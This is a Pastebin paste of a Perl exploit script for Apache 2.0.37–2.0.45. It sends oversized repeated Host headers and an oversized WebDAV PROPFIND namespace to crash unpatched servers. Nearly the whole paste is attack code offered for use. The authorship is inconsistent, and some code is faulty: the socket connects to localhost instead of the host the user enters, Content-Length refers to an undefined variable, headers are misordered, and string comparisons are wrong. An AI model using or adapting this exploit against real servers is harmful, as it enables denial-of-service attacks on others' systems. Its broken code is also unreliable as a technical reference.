xxgh0stxx

Apache 2.0.37 - 2.0.45 exploit

Mar 23rd, 2017
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.49 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # only for TESTING
  3. # Apache 2.0.37 - 2.0.45 APR Exploit
  4. # Written By Aysad Kozanoglu
  5. #
  6. # This Perl script will successfully exploit any un-patched Apache 2.x
  7. # servers.
  8. #
  9.  
  10. # Base64 Encoder
  11. #
  12. # If you want authentication with the server via HTTP's lame Basic
  13. # auth, put the proper string to encode BASE64 content, and use
  14. # '%s' to represent the credentials being encoded. For instance:
  15. #
  16. # base64 %s
  17. #
  18. # would result in:
  19. #
  20. # base64 userid:password
  21. #
  22. # If your decoder requires you to use STDIN to pass the password
  23. # (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
  24. # use '%s' on the command-line.
  25. $BASE64_CMD_STRING = "use_base64_encoder_here %s";
  26.  
  27. # Base64 encoder piping
  28. #
  29. # If your encoder requires the password to be written to STDIN,
  30. # set this to a nonzero value. NOTE: This requires support for
  31. # bi-directional pipes on your OS version.
  32. $BASE64_USE_STDIN = 0;
  33.  
  34. # Base64 encoder input handling
  35. #
  36. # If your encoder requires a newline after your credentials,
  37. # set this to your newline character.
  38. $BASE64_WRITE_NL = "";
  39.  
  40. use IO::Socket;
  41. print STDOUT "Apache 2.0 APR Exploit\r\n";
  42. print STDOUT "By Matthew Murphy\r\n\r\n";
  43. print STDOUT "Enter the hostname/IP address of the server: ";
  44. $line = <STDIN>;
  45. $host = mychomp($line);
  46. print STDOUT "Enter the port of the server \[80\]: ";
  47. $line = <STDIN>;
  48. $port = mychomp($line);
  49. print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
  50. $line = <STDIN>;
  51. $char = mychomp($line);
  52. if ($char == "Y" || $char == "y") {
  53. print STDOUT "What username shall we use: ";
  54. $line = <STDIN>;
  55. $user = mychomp($line);
  56. print STDOUT "What password shall we use: ";
  57. $line = <STDIN>;
  58. $pass = mychomp($line);
  59. $auth = "$user:$pass";
  60. if ($BASE64_USE_STDIN) {
  61. # l33t Perl piping trix; NOTE: This is definitely
  62. # Alpha code! :-)
  63. pipe(STDOUTREAD, STDOUTWRITE);
  64. pipe(STDINREAD, STDINWRITE);
  65. open(OLDSTDIN, "&STDIN");
  66. open(OLDSTDOUT, ">&STDOUT");
  67. open(STDIN, "&STDINREAD");
  68. open(STDOUT, ">&STDOUTWRITE");
  69. close(STDINREAD);
  70. close(STDOUTWRITE);
  71. system($BASE64_CMD_STRING);
  72. open(STDIN, "&OLDSTDIN");
  73. open(STDOUT, "&>OLDSTDOUT");
  74. close(OLDSTDIN);
  75. close(OLDSTDOUT);
  76. print STDINWRITE $auth;
  77. close(STDINWRITE);
  78. read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
  79. close(STDOUTREAD);
  80. } else {
  81. open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
  82. read(READOUTPUT, $base64, 4096); # See above
  83. close(READOUTPUT);
  84. }
  85. # Another hack for dealing with base64 encoders that output
  86. # multi-lined encoded text. HTTP specifically calls for a
  87. # single line. Note that this pattern also messes with spaces,
  88. # tabs, etc., but base64 doesn't use those either, so this
  89. # shouldn't matter.
  90. $base64 = join("", split(/ /, $base64));
  91. } else {
  92. $base64 = undef;
  93. }
  94. $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
  95. print STDOUT "Exploiting a proxy server \[Y/N\]? ";
  96. $line = <STDIN>;
  97. $char = mychomp($line);
  98. if ($char == "Y" || $char == "y") {
  99. print $f "GET / HTTP/1.1\x0d\x0a";
  100.  
  101. # Apache 2.0 tries to limit header inputs, but uses a hash table
  102. # that ultimately concatenates multiple headers of the same name
  103. # together with ", " between them, so:
  104. #
  105. # Host: a
  106. # Host: b
  107. #
  108. # Bypasses Apache's buffer size checks, but ends up as:
  109. #
  110. # Host: a,b
  111. #
  112. # When processed. Confirm this with a TRACE against your server:
  113. #
  114. # TRACE / HTTP/1.1
  115. # Host: a
  116. # Host: b
  117. #
  118. # The "message/http" body you receive will contain:
  119. #
  120. # TRACE / HTTP/1.1
  121. # Host: a,b
  122. #
  123. # So, for those of you who are confused by this code fragment,
  124. # this is what it ultimately achieves!
  125. for ($i = 0; $i < 10; $i++) {
  126. print $f "Host: ".("A"x2000)."\r\n";
  127. }
  128. if (defined($base64)) {
  129. print $f "Proxy-Authorization: Basic ".$base64."\r\n";
  130. }
  131. print $f "\r\n";
  132. } else {
  133. print STDOUT "What resource should be probed: ";
  134. $line = <STDIN>;
  135. $res = mychomp($line);
  136. print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
  137. $line = <STDIN>;
  138. $char = mychomp($line);
  139. if ($char == "Y" || $char == "y") {
  140. # WARNING:
  141. # Another section of alpha code here; mod_dav tends to barf
  142. # if given the smallest inconsistency, and this is not
  143. # exactly well-researched. If this doesn't work for you,
  144. # target your DAV repository as a typical resource: if
  145. # UseCanonicalName On hasn't been set explicitly, mod_dav
  146. # will choke on that as well.
  147. #
  148. # STunnel should not have issues with this, as you can't
  149. # use a "Host" header in an SSL connection anyway, so
  150. # that is no problem.
  151. #
  152. # Note that if the body is too long, IIS servers will also
  153. # die (assuming of course, that the latest IIS cumulative
  154. # patch has not been applied), as they have had problems
  155. # dealing with WebDAV in the very recent past.
  156.  
  157. # XML Body of Request
  158. #
  159. # If everything works, mod_dav will attempt to format a
  160. # message with apr_psprintf() to indicate that our
  161. # namespace is invalid, leading to a crash.
  162. $xmlbody = "<?xml version=\"1.0\"?>\r\n";
  163. $xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
  164. $xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
  165. $xmlbody.= "</D:propfind>";
  166.  
  167. # HTTP headers
  168. print $f "PROPFIND $res HTTP/1.1\r\n";
  169. print $f "Host: $host:$port\r\n";
  170. print $f "Depth: 1\r\n";
  171. print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
  172. print $f "Content-Length: ".length($body)."\r\n\r\n";
  173. if (defined($base64)) {
  174. print $f "Authorization: Basic ".$base64."\r\n";
  175. }
  176. print $f "$xmlbody\r\n\r\n";
  177. } else {
  178. # This does *almost* the exact same thing as the mod_proxy
  179. # code, and could be considered wasteful, but a few extra
  180. # CPU cycles never killed anybody. :-(
  181. print $f "GET $res HTTP/1.1\r\n";
  182. for ($i = 0; $i < 10; $i++) {
  183. print $f "Host: ".("A"x2000)."\r\n";
  184. }
  185. if (defined($base64)) {
  186. print $f "Authorization: Basic ".$base64."\r\n";
  187. }
  188. print $f "\r\n";
  189. }
  190. }
  191. while (defined($ln = <$f>)) {
  192. print STDOUT $ln;
  193. }
  194. undef $f;
  195. exit;
  196.  
  197. # FIXED: The perl chomp() function is broken on my distro,
  198. # so I hacked a fix to work around it. This note applies
  199. # to ActivePerl 5.8.x -- I haven't tried others. This is
  200. # another hackish fix, which seems to be the entire style
  201. # of this code. I'll write better toys when I have time to
  202. # write better toys.
  203. sub mychomp {
  204. my $data;
  205. my $arg = shift;
  206. my $CRLF;
  207. if ($^O == "MSWin32") {
  208. $CRLF = 1;
  209. } else {
  210. $CRLF = 0;
  211. }
  212. $data = substr($arg, 0, length($arg) - $CRLF);
  213. return $data;
  214. }
Add Comment
Please, Sign In to add comment